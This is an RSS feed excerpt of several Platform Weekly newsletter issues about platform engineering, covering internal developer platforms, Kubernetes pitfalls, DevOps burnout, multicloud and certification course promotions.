\ud835\udc1c\ud835\udc28\ud835\udc26\ud835\udc29\ud835\udc1a\ud835\udc2b\ud835\udc1e?Platform Engineering aims to implement Internal Developer Platforms, which often have a product owner and/or follow UX principles to make them user-friendly. Internal Developer Platforms solve the issues that make poor DevEx.. \nDevEx is not exclusive to DevOps. DevOps cultural practices still apply but DevEx put a sharper focus on developers user experience.\n\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Have you seen this in-depth guide to Internal Developer Platforms?\n\ud83e\udd50 Will platform engineering get loved to death? \n\ud83e\udd50 According to this KubeCon panel, the rise of platform engineering won\u2019t kill DevOps. But it might put an end to the tool sprawl DevOps unleashed.\n\ud83e\udd50 Here\u2019s why big data is pulling compute back on premises.\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights:\n\n\nWant to build your own platform or platform team? Check out Rebecca Murphey\u2019s favorite article on the topic.\n\nMohit Kalra\u2019s client asked how we can use DevOps to create balance between developer freedom and cost control. The inquiry ignited this \ud83d\udd25 discussion.\n\nHere\u2019s how to convince your manager to get you an IDP.\n\nPaula Kennedy shared Syntasso\u2019s new Platform Maturity model.\n\nNew jobs and events are shared to the community every day! Check out our #jobs and #events channel to learn more.\nThere ain\u2019t no party like a cloud-native party. Thanks to everyone who came out to House of Kube!\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 11 May 2023 00:00:00 GMT\n\n\n  How to succeed at platform engineering: The missing piece\n  https://platformweekly.com/issues/how-to-succeed-at-platform-engineering-the-missing-piece\n  https://platformweekly.com/issues/how-to-succeed-at-platform-engineering-the-missing-piece\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly crack of the platform engineering walnut. Every week we unpack another part of the platform engineering world, diving into news, best practices, lessons and insights from the community.\nWe\u2019re just 6 days away from starting the first Platform Engineering certification class of 2025. The demand has been amazing!\nFor being such an awesome community, I want to share a last-chance discount code to save an additional $300 for the last few spots (we\u2019ve also kept the early bird discount going for a total savings of over $700!). \nInterested in joining? Use code:300OFF-LASTCHANCE\nunderstanding isn't enough\nI get a lot of opportunity to talk to platform engineers. In the last 6 months, there have been hundreds of conversations in the course, in calls, in-person, at roundtables or even just via message on Slack and LinkedIn. There is one thing that unites 90% of those conversations. Whether it\u2019s a CIO owning a new enterprise-wide platform initiative, or it\u2019s a new aspiring engineer at their first PE role, they all face the same challenge.\nThey don\u2019t have the foundations of how to understand and deliver platform engineering effectively OR the even harder challenge - they get it, but their team, their boss, their boss\u2019s boss just don\u2019t. There is a reason why so many of the people who take our platform engineering fundamentals course are recommendations. The course focuses heavily on that idea. How can you make sure you, and everyone around you are aligned?\nIt\u2019s not enough to understand platform engineering, if everyone around you doesn\u2019t get it. Platform engineering is a multiplayer game. That\u2019s crucial not just for the many cross cutting concerns it\u2019ll touch, but also within your own team. You might be best platform product owner around - but if your developers think platform engineering is just Heroku-style PAAS or worse a UI on your current CI/CD setup, you\u2019re never going to get them on board and get the results you want.\nWe\u2019ve been talking a lot recently about how platform engineering needs to avoid the DevOps problem - where if you asked 10 people what DevOps is, you get 11 answers.\nDefinitions are just as crucial as best practices. If you don\u2019t have the same definition of platform engineering as your boss, or your boss\u2019s boss. You\u2019re going to be in trouble.\nThere is a reason we spend so much time on it.\nP.S. Want to make sure your boss is on the same page as you? Book a seat in the course and email me and we\u2019ll give your boss 100% off. We can hammer them together!\nDon\u2019t forget to use code 300OFF-LASTCHANCE for $300 off the early bird price.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n   5 overlooked criteria when choosing a container platform\n  https://platformweekly.com/issues/5-overlooked-criteria-when-choosing-a-container-platform\n  https://platformweekly.com/issues/5-overlooked-criteria-when-choosing-a-container-platform\n  \n  \nI\u2019ve just finished catching up on all the community content from AWS re:Invent that I missed, and one topic stuck out to me. Pankaj Gupta from VMware\u2019s article on the community blog about VKS and the criteria for picking a container platform (that no one ever thinks about).\nIt couldn\u2019t be more fitting as this exact conversation came up during last week's roundtable, and in 3 exec conversations I\u2019ve had over the last month and none of the criteria on this list were mentioned. If that\u2019s not proof they\u2019re overlooked, I don't know what is!\nHere are Pankaj\u2019s five overlooked criteria you need to keep in mind:\n\n\nFaster access to new Kubernetes versions for faster innovation\n\nDuration of standard support for Kubernetes versions - longer is better\n\nFlexibility to run multiple Kubernetes versions on the same hosts\n\nWhat's included in distribution matters a lot more than you think\n\nK8s and VMs both need to be treated as first-class citizens\nAnyone actively working with K8s knows that the grind of staying on top of 3 major releases a year is never ending, especially at larger orgs with particularly complicated setups. And there is no deluge of K8s experts out there to help you.\nYou know I\u2019m the first to say that the challenges of platform engineering are overwhelmingly cultural, but Kubernetes complexity and finding the talent to help with it is one of those few very technological challenges that holds back teams.\nCulture might be 90% of the battle. But that doesn\u2019t stop that last 10% from grinding everything to a halt. Especially when we aren\u2019t thinking about the problem.\nSo\u2026 what else have you been overlooking?]]>\n  \n  Mon, 15 Dec 2025 00:00:00 GMT\n\n\n  Is DevOps burnout actually a thing?\n  https://platformweekly.com/issues/is-devops-burnout-actually-a-thing\n  https://platformweekly.com/issues/is-devops-burnout-actually-a-thing\n  \n  \nIs DevOps burnout actually a thing?\nAre we in the middle of the Great DevOps Burnout? \ud83e\udd14\nA report from Haystack suggests yes. 83% of the 258 software engineers surveyed reported feelings of burnout from high workloads, inefficient processes, and unclear goals and targets. 74% of software engineers surveyed reported working on operations tasks in some capacity.\nThis survey from Spacelift follows a similar theme. They found that \u201cDevOps engineers are more frequently stressed than the IT average. Over 40% admit to being stressed \u2018often\u2019 or \u2018very often\u2019 compared to 34% of the IT average.\u201d The study suggests that DevOps are the most stressed because they feel their skills are insufficient for their jobs. Are their skills insufficient or does their setup lack a platform that provides sufficient support?\nIn other words, it seems that a lot of folks \u201cdoing DevOps\u201d are also burnt out. I think we have more research to do before we pinpoint the exact causes of this stress. But I don\u2019t think the trend is a coincidence.\nThere is a growing conversation in the DevOps community about whether developers can or want to take on operations tasks. The main problem they\u2019re encountering is cognitive load, which prevents developers from focusing on developing features and delivering the most value to the company. The organization\u2019s efficiency suffers as a result. It\u2019s possible that developers\u2019 well-being is suffering also.\nBut I want to hear your thoughts. Are you feeling the \u201cGreat DevOps Burnout\u201d?\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Ihor Dvoretskyi, Sr. Developer Advocate at CNCF and member of the Ukrainian armed forces were greeted by thunderous applause on the KubeCon stage. From the @linuxfoundation Twitter account: \"It has been incredible watching the open source community rally behind him and his sacrifice.\"\n\ud83e\udd50 From Whitney Lee and Mauricio Salatino's KubeCon keynote: \"Platform teams are key for success - let developers focus on code and platform teams can simplify their experience getting to production.\"\n\ud83e\udd50 The New Stack's panel about how Kubernetes shapes the dynamic between dev and ops turned into a conversation about platform engineering. Questions asked/answered included: How does platform engineering relate to DevOps? What's the golden standard for building your platform? Is DevOps actually dead? Keep an eye on your inbox next week to see a recap of this \ud83d\udd25 conversation.\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nGood alternatives to Backstage? \n\nOn the complexity of AWS and other tools\n\nAll the features an IDP should have \n\nOn working for a company that requires their app to host thousands or even millions of images on s3 searching for challenges and help \n\nShort conversation on team topologies\n\nProvision production level infrastructure with Terraform CDK\n\nLike what you've read? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\n\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Platform Engineering Certification\n  https://platformweekly.com/issues/platform-engineering-certification\n  https://platformweekly.com/issues/platform-engineering-certification\n  \n  \nHey there! Welcome to Platform Weekly, your weekly nose of platform engineering whisky. Every week, we talk about the latest happenings in the platform engineering community, and industry as a whole. Everyone from events and news to best practices and lessons. Let\u2019s get crunchy.\nPlatform Engineering Certification\n\u200d\nWe\u2019re just 7 days away from the end of the first part of the platform engineering certification track, the platform engineering fundamentals course. What a wild ride it\u2019s been. That also means the early bird for the fundamentals course is officially over.\nNot without one last treat for the community though \ud83d\udc49you!\nUse the code PW30 before Friday 27th to get a 30% discount on joining the winter cohort starting October 10th. \nThe goal of the platform engineering community has always been to help drive and support this amazing discipline, whether that is avoiding the pitfalls of DevOps or accelerating a future with a few more platforms, and a lot less overloaded and burnt out teams.\nThe fundamentals course is a perfect microcosm of that.\nWe start in the first session by level setting. What is Platform Engineering? Where did it come from, where is it going and what defines it and distinguishes it from DevOps?\nWe then flow through platform reference architectures, the what and how of Platform as a Product, the platform maturity model, Portals, Orchestrators, golden paths and infrastructure platform engineering.\nWe then close with the most important thing of all. How to get started, how to sell your platform internally and ensure executive support and actual adoption. Basically - how to not crash and burn.\nI learned so much from cohort 1. From the questions, the feedback and the mistakes - and cohort 2 is going to be even better.\nI can\u2019t wait.\nUse the code PW30 and come join me!\nPlatform engineering certification - all you need to know\nPlatform Engineering offers a comprehensive certification program designed to guide professionals from foundational concepts to advanced platform engineering skills. The program includes:\n\n\nPlatform Engineering Fundamentals: This course covers essential platform engineering concepts, enabling participants to build their first Internal Developer Platform (IDP) with access to best practice blueprints and templates. \n\nMVP to IDP: Aimed at those looking to advance their skills, this course focuses on designing comprehensive rollout strategies and adoption paths across multiple workflows and teams.\n\nCertification: Upon completion of the courses, participants can test their knowledge through a combination of theoretical and hands-on tasks to earn a certification that enhances their platform engineering career.\nFor more information or to enroll, visit the Platform Engineering Courses page.]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  How do platform engineering initiatives fail, and how platforms succeed\n  https://platformweekly.com/issues/how-do-platform-engineering-initiatives-fail-and-how-platforms-succeed\n  https://platformweekly.com/issues/how-do-platform-engineering-initiatives-fail-and-how-platforms-succeed\n  \n  \nLast week my fellow contributor to the platform engineering community Sam Barlien interrogated dozens of German platform leaders in Hamburg at Container days. You know I think there is no better way to learn than just asking people what they\u2019re doing, what\u2019s working, what isn\u2019t, and what they\u2019re doing.\nThere was one leader I needed him to introduce me to, as part of our new advisory program.\n\n\n\u20ac30m annual spend on the \u201cplatform initiative\u201d\n\nProject launched in Q1 2023 but building didn\u2019t start until Q2 2024.\n\nIn his words, \u201cIt has been a complete disaster\u201d\nThis enterprise had many of the same issues that large european companies have; It was almost a century old with extensive legacy technology with a combination of on-prem and cloud (multiple cloud providers in this case), siloed teams, extensive security requirements.\nSome teams experimented with AWS or Azure and modern orchestration like Docker Swarm, while others remained tied to ticket-driven workflows, legacy systems, and little automation. This meant multiple source code management tools, different monitoring setups, and totally different approaches to databases.\nBut this doesn\u2019t mean a platform is doomed (and it doesn\u2019t explain why this one is failing). Sixt is also a 100 year German company, and their platform is awesome. Hellmann is 150 years old and their platform is a huge inspiration. \nSo, let\u2019s dissect why this platform is failing. I drilled him on 3 questions.\n\n\nWhat is the why of your platform?\n\nWhat does \u201cvalue\u201d mean to the developer, to you, and to your boss?\n\nHow are the decisions on \u201cproduct features\u201d for your platform made?\nHis answers:\n\u201cWell, uh, it depends. There are lots of whys\u201d\u201cGood question. It depends\u201d\u201cMe, and 3 or 4 others decide, sometimes over beer\u201d See the problem? There are likely 100s of things your platform could impact or serve. But if you chase all of them, you aren\u2019t going to succeed. If the why of your platform could be 30 things (especially at the beginning), it\u2019s impossible for you to really prove value.\nEspecially if you don\u2019t know what value means. If your platform has no value to your developers, why will they adopt it? Or become champions of it to their colleagues? If the platform has no value to your boss, why will they continue to sign checks or support the initiative? Your platform might serve value by your definition, but that\u2019s likely not the only one that counts.\nAnd it\u2019s no surprise they don\u2019t have the answers to these questions if the platform\u2019s decisions are made based on conversation between the experts, rather than interviews or research on those other stakeholders.\nThis platform has an immense opportunity however. It\u2019s got a leadership who clearly believes. They\u2019ve got the budget. And though it doesn\u2019t seem like it here, they\u2019ve got a smart, excited, and hardworking team and platform leader who really wants this to work!\nThey just have to take a step back, zoom in, and think of the foundations first. And maybe next year, I\u2019ll be mentioning them alongside Hellman and Sixt as my European platform icons.]]>\n  \n  Tue, 23 Sep 2025 00:00:00 GMT\n\n\n  How to make your K8s setup NOT suck\n  https://platformweekly.com/issues/how-to-make-your-k8s-setup-not-suck\n  https://platformweekly.com/issues/how-to-make-your-k8s-setup-not-suck\n  \n  \nWhat\u2019s a platform engineering newsletter without a dedicated issue for Kubernetes?\nLet\u2019s get bakin\u2019 \ud83e\udd50\nHow to make your K8s setup NOT suck\nKubernetes is here to stay. So whether you\u2019re just starting your implementation journey or are along your way, there are a few key things to keep in mind:\n1. Success \ud83d\udcc8 takes more than good intentions\nWhen I studied ~1160 engineering teams, we found that organizations across the spectrum of performance had underestimated the difficulty of implementing Kubernetes.\nThe reason? Teams expect it to be easy to use and maintain, a cost saver, cloud agnostic, and so on. They do not think about the prerequisite functional systems and security expertise \u2014 mature integration with CI/CD systems, strong configuration management, appropriate documentation \u2014 that make Kubernetes implementation successful.\nYou have to get the technical details right the first time.\n2. Appropriate security is harder than it looks\nA majority of organizations I talked to said that Kubernetes security was important to them, but that didn\u2019t translate to them handling it properly. \ud83d\ude43\nI saw plain-text secrets stored in repos, manually applied changes, lack of separation between environment-specific and agnostic configs\u2026 Y\u2019all this is why we can\u2019t have nice things. Security best practices are still necessary with Kubernetes.\n3. Self-service is essential\n90% of top performers have a setup where devs can deploy independently or on demand.\nOnly 39% of low performers said the same. Coincidence? \ud83e\udd14 I think not.\nMost concerningly, more than a third of low performers felt that most of their team was afraid to deploy to K8s clusters and break something! This fear often creates human resource bottlenecks and negates the primary benefits of containerization.\n4. Kubernetes isn\u2019t a silver bullet\nHigh-performing organizations use Kubernetes as, as Kesley Hightower puts it, \u201ca platform for building platforms\u201d.\nThey create abstractions to enable developer self-service. While this doesn\u2019t eliminate the need for some amount of Kubernetes expertise, high-performing organizations require only a few Kubernetes professionals to support them.\nUltimately, high-performing organizations understand that Kubernetes is not a silver bullet. It can be a powerful foundation\u2026 if the complexity, architecture, and security implications are properly accounted for.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Karan Pratap Singh shared this quick read about system design management tool API Gateway. Dive into its features, advantages, disadvantages and some useful examples.\n\ud83e\udd50 Why are fast services slow? Dan Slimmon explored the nuances of the latency/throughput tradeoff. Interesting read for all SREs.\n\ud83e\udd50 Google's serverless environment Knative is getting buzz. This overview by Chiradeep BasuMallick gives a great look into how Knative works, its key features and its importance for enterprises today. Worth the read.\n\ud83e\udd50 Check out this info-packed thread from Ivan Velichko. If you're learning about containers, this is a must-read:\n\ud83e\udd50 Eyes tired from all of this reading? Then listen to Level-up Engineering podcast episode \ud83c\udfa4 with Two Sigma's Camille Fournier. They discuss the role of platform teams and the most important skills for platform engineers: creating smooth communication with product teams.\n\ud83e\udd50 Y'all know what's coming \ud83d\ude09\nThat's it for the #4. Hope you found it useful. If so, share it with your friends \ud83c\udf89\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud-native world, send it our way. You can submit your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Multicloud is the future\n  https://platformweekly.com/issues/multicloud-is-the-future\n  https://platformweekly.com/issues/multicloud-is-the-future\n  \n  \nMulticloud is inevitable. When I look at successful platforms recently, they all have one thing in common. They are either cloud agnostic, or could easily be if they wanted to. Platform engineering standards, best practices and new tooling are making it easier and easier to care less and less about which cloud provider you\u2019re using.\nSure, it is early days.\nBut today, just as no one here reading this would bat an eye at live migration of workloads between servers, I think 10 years from now we\u2019ll look back and see that platform engineering had the same impact on cloud.\nCloud might be an infinitely more complicated beast. But what platform engineering is doing is infinitely cool.\nThat\u2019s not to say cloud migration isn\u2019t (currently) very hard. Between manual resource discovery, endless scripting, and mapping dependencies by hand, the whole process can be slow, messy, and full of risk. Plus, with compliance requirements lurking basically everywhere, the stakes couldn\u2019t be higher.\nPlatform engineering is changing that however.\nThis week's blog / community webinar combo from Arshad Sayyad and Arunav Sarkar from Stackgen is the perfect example.\nThey break down the real challenges of cloud-to-cloud migration, what works, what doesn\u2019t, and why so many teams still get stuck. They talk about unnecessary lift-and-shift, how to ensure security and compliance don\u2019t fall apart mid-migration, and show off the stuff they\u2019ve built for automation, better visualization, and built-in governance.\nAs platform engineering starts to commodify the cloud more and more, what they have to say is invaluable for anyone thinking about multicloud (and if you aren\u2019t yet - you should be).\nGo check out their community webinar.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Developer Portals =/= Developer Platforms\n  https://platformweekly.com/issues/developer-portals-developer-platforms\n  https://platformweekly.com/issues/developer-portals-developer-platforms\n  \n  \nHey there!\nThis week, Humanitec CEO Kaspar von Gr\u00fcnberg weighs in on the developer portal vs. developer platform debate. And while we have you here, be sure to submit your PlatformCon 2023 talk before it\u2019s too late!\nLet\u2019s get bakin\u2019\nDeveloper portals =/= developer platforms\nKaspar von Gr\u00fcnberg, CEO @ Humanitec\nContrary to popular belief, platform engineering is not about building a fancy UI. Many organizations conflate developer portals or service catalogs with Internal Developer Platforms (IDPs), when in fact they are very different things. \nAccording to Gartner, \u201cinternal developer portals serve as the interface through which developers can discover and access internal developer platform capabilities.\u201d Take for example Netflix, who built a developer portal on top of its platform tooling. \nAn IDP on the other hand, is the sum of all tech, tools and processes that a platform engineering team binds into a golden path for developers. Golden paths reduce cognitive load and drive standardization by design. So an IDP doesn\u2019t need a developer portal to deliver value to developers. \nWhen I chatted with ~300 platform engineering teams last year, I learned that many start their platform engineering journey by building a developer portal. They do it because it feels obvious, the product is something you can show off to managers, and conversations around interfaces are relatively active. \nHowever, less than 20% of these teams were able to get developers to adopt and use the portal. Developers resent having \u201cyet another interface\u201d to learn and use. Additionally, many organizations overestimate the tangible benefits of having a portal and underestimate the amount of time and resources needed to keep the portal up-to-date.\nIn most cases, I\u2019ve found that two changes yield the biggest results. Making sure you have basic CI/CD flows set up reduces toil and increases efficiency. Restructuring your configuration management from \u201cstatic\u201d to Dynamic Configuration Management (DCM) enables standardization by design, separation of concerns, and continuous self-service with low cognitive load.\nInstead of building a UI developers didn\u2019t ask for, organizations should treat their platform as a product. Taking this approach enables you to understand your developers needs based on user research, prioritize their concerns, and build a platform people actually want to use. \nTLDR: Platform teams that prioritize building a portal before the rest of the platform will likely waste valuable resources and see a low adoption rate. \nRead the full article.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Share your platform stories and insights with the community at PlatformCon 2023! The call for proposals closes on February 28th.\n\ud83e\udd50 Want to make a great platform team? Don\u2019t forget your soft skills.\n\ud83e\udd50 Check out this \ud83d\udd25 platform engineering guide, compiled by the clever folks over at InfoQ It features articles written by platform engineering communitymembers Paula Kennedy, Nigel Kersten, Aaron Erickson, and yours truly. \ud83d\ude09\n\ud83e\udd50 Let Adrian Cockcroft introduce you to the four principles of platform engineering teams done right.\n\ud83e\udd50 \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some job opportunities recently shared by the community: \n\n\nAlternatives to make my IaC scans faster\n\nWe're planning to build Terraform IaC self service platform, and need help from people who have implemented a similar solution\n\nLooking for an IDP solution (OSS preferred) that can be self-hosted\n\nDo you all have test backgrounded people on your platform/DevOps/SRE teams?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 16 Mar 2023 00:00:00 GMT\n\n\n  5 depressing platform engineering data points\n  https://platformweekly.com/issues/5-depressing-platform-engineering-data-points\n  https://platformweekly.com/issues/5-depressing-platform-engineering-data-points\n  \n  \nThe communities defining annual report, The State of Platform Engineering Vol.4 is live in all its glory. Almost 60 pages of platform engineering knowledge including data from 518 platform engineers, and insights from conversations with platform leaders across every geo, business size, and industry you can imagine.\nAnd the data this year reveals some pretty sad realities\u2026 \nOr does it? Journey through these 5 depressing stats with me, and join at the end while I make my argument why they tell a more positive story than you\u2019d think.\n1. Platform engineers STILL aren\u2019t measuring.\n30% of platform teams, \u201cDO NOT MEASURE\u201d. Yet somehow in this multiple choice, some seem to measure and simultaneously not measure. With that chaos, it\u2019s no surprise that at events, and workshops industry wide - measurement is the biggest topic of challenge for most teams.\n2. 1/3 of all platforms still rely purely on mandates to drive adoption\n3. A quarter of platform teams, aren\u2019t actually doing platform engineering\nThe fundamental differentiator of platform engineering is the \u201cPlatform as a Product\u201d mindset. The introduction of product management principles into operations is a key change in delivering the impact and value of platform initiatives. If you don\u2019t have a product mindset, it\u2019s extremely hard to argue that you are actually doing \u201cplatform engineering\u201d. Yet, there are many with the title \u201cplatform engineer\u201d running \u201cplatform\u201d initiatives.\n4. Platform engineer salaries collapsed in 2025\nThe salary of a platform engineer plummeted in 2025. North America fell from about $193k to $160k, and Europe from roughly $118k to $104k. This is a huge drop compared to the salary increases we\u2019ve seen every year since 2022.\n5. Platform teams are operating based of vibes\nIf 29.6% of platform teams do not measure. Why have only 18.3% of teams answered that their time to value is \u201c not yet measurable\u201d. This same trend repeats itself throughout the data. Teams report that their metrics have improved in one section, while simultaneously reporting that they do no measurement at all. So how do they know they\u2019ve improved? The answer time and time again - is vibes.\nSo why aren\u2019t I freaking out? This is why.\nWe are still at the beginning of this journey.\nOver 50% of platform engineering initiatives are still in their startup phase with budgets of $1m or less. That means almost half of platforms in the industry are still exploring, still learning, and still growing.\nThe discipline might have grown meteorically over the last 3 years, with 90% of enterprises starting IDPs, and the number of people calling themselves platform engineers & readers of this newsletter growing 20 fold - but the reality is; most actual practice in the discipline is still in its early exploratory stages.\nThere is a reason the community courses, built around the challenges in this report, are the most successful initiative we\u2019ve ever launched. 100s of students every day are digging into how to measure effectively, how to ensure security or observability by design, where does AI fit into the platform, or simply what a platform engineer actually does.\nOver the coming 18 months, we still need a gigantic amount of these $1m platform initiatives to complete their Minimum Viable Platforms, start proving value and growing.\nWe might be at the end of the hype cycle, but we are at the very beginning of the tidal wave.\nCome learn with me. Secure those extra millions in budget. And let\u2019s goooo!]]>\n  \n  Mon, 26 Jan 2026 00:00:00 GMT\n\n\n  Is platform engineering key \ud83d\udd11 to the DevOps dream?\n  https://platformweekly.com/issues/is-platform-engineering-key-to-the-devops-dream\n  https://platformweekly.com/issues/is-platform-engineering-key-to-the-devops-dream\n  \n  \nI\u2019m super excited to send out the first issue of Platform Weekly written by a guest author. Interested in contributing? Submit your idea here.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nIs platform engineering key to the DevOps dream?\n\u201cIs platform engineering the answer to saving the DevOps dream?\u201d A few weeks ago, I joined a panel with Spectro Cloud\u2019s CTAO Saad Malik, Upbound\u2019s Developer Advocate Viktor Farcic, and Isovalent\u2019s Liz Rice to answer this question.\nFirst, we have to agree on a common definition for DevOps. As Upbound\u2019s Developer Advocate Viktor Farcic explained, the original intent of implementing DevOps was to make \u201cteams self-sufficient, so they have full control of their application, right from the idea until it is running in production.\u201d\nWhile this definition encapsulates the dream of DevOps, it seems quite different from the \u201cyou build it, you run it\u201d reality. This thread by Tom McLaughlin hits the nail on the head.\nFor organizations struggling with their DevOps implementations, platform engineering\u2019s product approach offers a glimmer of hope. Saad Malik explained how platform engineering enables both consistency and innovation: \u201cAn organization will decide where they want to be able to provide that abstraction\u2026 [but] there are going to be unique use cases\u201d where it might be okay for development teams to deviate from the golden path. Good platforms are designed to strike the right balance between developer self-service and freedom, whatever that looks like for the specific organization.\nIt\u2019s an important step forward for the community, but I think there\u2019s still more to come. Platform engineering is in the budding stage of its evolution, and as the community comes together more (especially at events like PlatformCon), I think the discipline will continue to evolve.\nWant to watch the full panel discussion? You can find it here.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Matt Campbell synthesized community discussions about platform engineering, DevOps, and cognitive load into this short read.\n\ud83e\udd50 Get some coffee \u2615 and tune in to this video by Dave Farley. He shares some essential tips for building successful platform teams.\n\ud83e\udd50 \"Parallel to this renewed focus on the base layer (spoiler alert, the cloud is not above us, it\u2019s below us in the data center and at the inner core we find storage, networking and infrastructure services) are efforts to provide self-service technologies i.e. those functions and services that engineers need, but now delivered -as-a-Service in and of themselves inside cloud layers.\" Platform engineering makes an appearance in Adrian Bridgwater's article for Forbes.\n\ud83e\udd50 Check out the cool vendors in Platform Engineering here\ud83d\udc47\n\ud83e\udd50 Finding and stating with a clear identity is a challenge for many new platform organizations. This article by Michael Galloway gives some practical advice helping to define the one.\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nTop 3 obstacles to Backstage adoption\n\nTry to design an DSL for automation purposes\n\nUsing terraform to import feature in AWS\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  If Platform Engineering is such a big deal. Why haven\u2019t you started yet?\n  https://platformweekly.com/issues/if-platform-engineering-is-such-a-big-deal-why-havent-you-started-yet\n  https://platformweekly.com/issues/if-platform-engineering-is-such-a-big-deal-why-havent-you-started-yet\n  \n  \nHey there! This is Platform Weekly, your weekly journey to the center of the platform engineering earth\ud83c\udf0f\nIf Platform Engineering is such a big deal. Why haven\u2019t you started yet?\nYou don\u2019t need me to tell you that platform engineering is a huge deal. It\u2019s been on Gartner\u2019s hype cycle and top 10 trends to watch in back to back years. It\u2019s all anyone at KubeCon was talking about a few weeks ago and I bet you the same will be true at re:invent next week. And just look at the growth of this newsletter or the Platform Engineering Slack community. Platform engineering is everywhere at this point.\nBy now I have seen some of the largest companies in the world, with thousands of developers in their engineering orgs, use a Platform Orchestrator to build Internal Developer Platforms that dramatically improve their velocity and time to market.\nSo why haven\u2019t most teams started on their platform engineering journey yet? Why, when I speak to so many people about it, they tell me \u201cwe are 100% going to build a platform. Just not yet\u201d?\nThe answer might not surprise you. All this incredible hype has meant that people think platform engineering HAS to be huge and complicated. That it HAS to be a gigantic digital transformation including thousands of devs, and months of back and forth with security, compliance, CCOE, multi C-level stakeholders etc etc etc.\nAnd I totally understand why anyone in their right mind doesn\u2019t want to make that kind of gigantic multi-year commitment at the moment. Especially in these market conditions.\nThe thing is though, it doesn\u2019t have to be that at all. And it shouldn\u2019t. You can get started platforming right now with a single team. Those engineers can use a platform orchestrator to start deploying apps within a matter of weeks, and start piecing together exactly what the Internal Developer platform would look like.\nWhen it works for them (which it usually does), it can then be expanded as time and resources allow. You don\u2019t need to get trapped waiting months for compliance to approve a multi-year digital transformation. You could be deploying apps with your platform orchestrator and Internal Developer Platform in a matter of weeks. That will work out the kinks, understand what works and what doesn\u2019t, and gain valuable knowledge that will make expanding out a breeze.\nFind the right team and get them started right away and you\u2019ll have a working platform in 60 days, not 600.\nQuick bites\nArticles that blew us away:\n\n\nGoogle Says You Might Be Doing DORA Metrics Wrong\nFrom the community:\n\n\nBuilding a CLI for an IDP\n\nWhat do you use for scaffolding and automation?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  OSS Spotlight Score \ud83c\udfbc\n  https://platformweekly.com/issues/oss-spotlight-score\n  https://platformweekly.com/issues/oss-spotlight-score\n  \n  \nBuilding an open source tool for platform engineering? We want to hear about it. This week, we\u2019re kicking off a new series to feature open source projects that can boost your platforms. Tell us about yours here.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nOSS Spotlight: Score \ud83c\udfbc\nSusa T\u00fcnker, Contributor @ Score\nAs a product manager, I see the release of new functionality being delayed because of bottlenecks in the delivery pipeline. Too often, it\u2019s caused by cloud-native developers struggling with configuration inconsistencies between environments. This is especially true when the tech stack in each environment is different.\nFor example, if you use Docker Compose locally but Helm Charts to deploy to the Kubernetes-based environment, you have to figure out Docker Compose and Helm and somehow keep it all in sync. The organizations I\u2019ve observed have coped with this complexity in different ways. Sometimes there are a few super helpful people that end up helping everyone that gets stuck. Other organizations make a page on their internal wiki site explaining how to get help. Or they have a full blown ticketing system. These approaches are great coping mechanisms at a small scale. But I wonder if we can solve the underlying problem.\nIf there was a developer-friendly standard that describes familiar workload-level constructs in a platform agnostic way, perhaps developers could deploy their workloads everywhere more easily. It could ease the requirement for specialized knowledge and operational expertise (in k8s, terraform, helm, etc.), decreasing the risk of wrongly specified or inconsistent configuration. It could act as a single source of truth on how to run a workload.\nThis is exactly what Score is designed to do. With Score, the same workload can be run on completely different technology stacks without the developer needing to be an expert in any one of them. It clearly defines the relationship between dev and ops: The ops team is given a comprehensive set of configurational requirements which, if met, ensure the workload runs as intended. Code is passed through the fence rather than being thrown over it.\nIt\u2019s an incredibly exciting project to be part of, and I can\u2019t wait to see where it goes next. If you want to support our mission, check it out on GitHub and become a contributor.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Just starting out on your platform engineering journey? T his article is a great primer.\n\ud83e\udd50 The year is coming to an end. Check the key trends for 2023 \ud83d\udc47\n\ud83e\udd50 Looking into building an Internal Developer Platform? Here are some qualitative and quantitative reasons to make the jump.\n\ud83e\udd50 Where would you see yourself in this picture?\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nFollow up on Viktor podcast\n\nMetrics on Platform Engineering\n\nA whopping number of job postings (11 since the beginning of the week!)\n\nTool for drift detection for kubernetes\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy 